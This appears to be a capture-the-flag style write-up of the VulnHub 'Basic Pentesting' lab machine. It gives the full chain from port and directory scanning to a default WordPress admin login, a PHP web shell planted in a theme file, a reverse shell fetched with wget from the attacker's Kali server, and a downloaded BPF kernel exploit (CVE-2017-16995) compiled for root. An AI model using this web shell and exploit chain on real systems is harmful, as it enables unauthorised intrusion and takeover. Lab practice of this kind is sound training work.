← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Basic_Pentesting.md

IP: 192.168.118.131
OS: Ubuntu 16.04 (kernel 4.10.0-28)
Difficulty: Easy
Source: VulnHub

Nmap

sudo nmap -sV -sC -p- 192.168.118.131

Open ports:

Enumeration

dirsearch -u http://192.168.118.131

Found /secret/ → WordPress 4.9 at /secret/wp-admin/

Default credentials admin:admin worked.

Foothold

Method: Manual WordPress theme file edit (not Metasploit)

Log in to WordPress

Logged into /secret/wp-admin as admin:admin.

Edit the theme header

Navigate to Appearance → Editor → Twenty Sixteen theme → header.php.

Add the following at the top:

<?php system($_GET['cmd']); die(); ?>

Confirm remote code execution

Visit /secret/?cmd=id to confirm RCE as www-data.

Obtain a reverse shell

Standard bash/python payloads failed because of URL quoting issues.

Use wget to pull a shell script from a Kali Python HTTP server, then catch the connection with:

nc -lvnp 4444

Privilege Escalation

Enumeration findings:

Exploit used: CVE-2017-16995 (BPF kernel exploit)

Download the exploit on Kali

searchsploit -m 44298
python3 -m http.server 8000

Compile and run the exploit on the target

cd /tmp
wget http://192.168.118.130:8000/44298.c
gcc 44298.c -o exp
./exp

Obtain root access

Root shell obtained.

← BACK TO WRITEUPSMAZEN. / HOME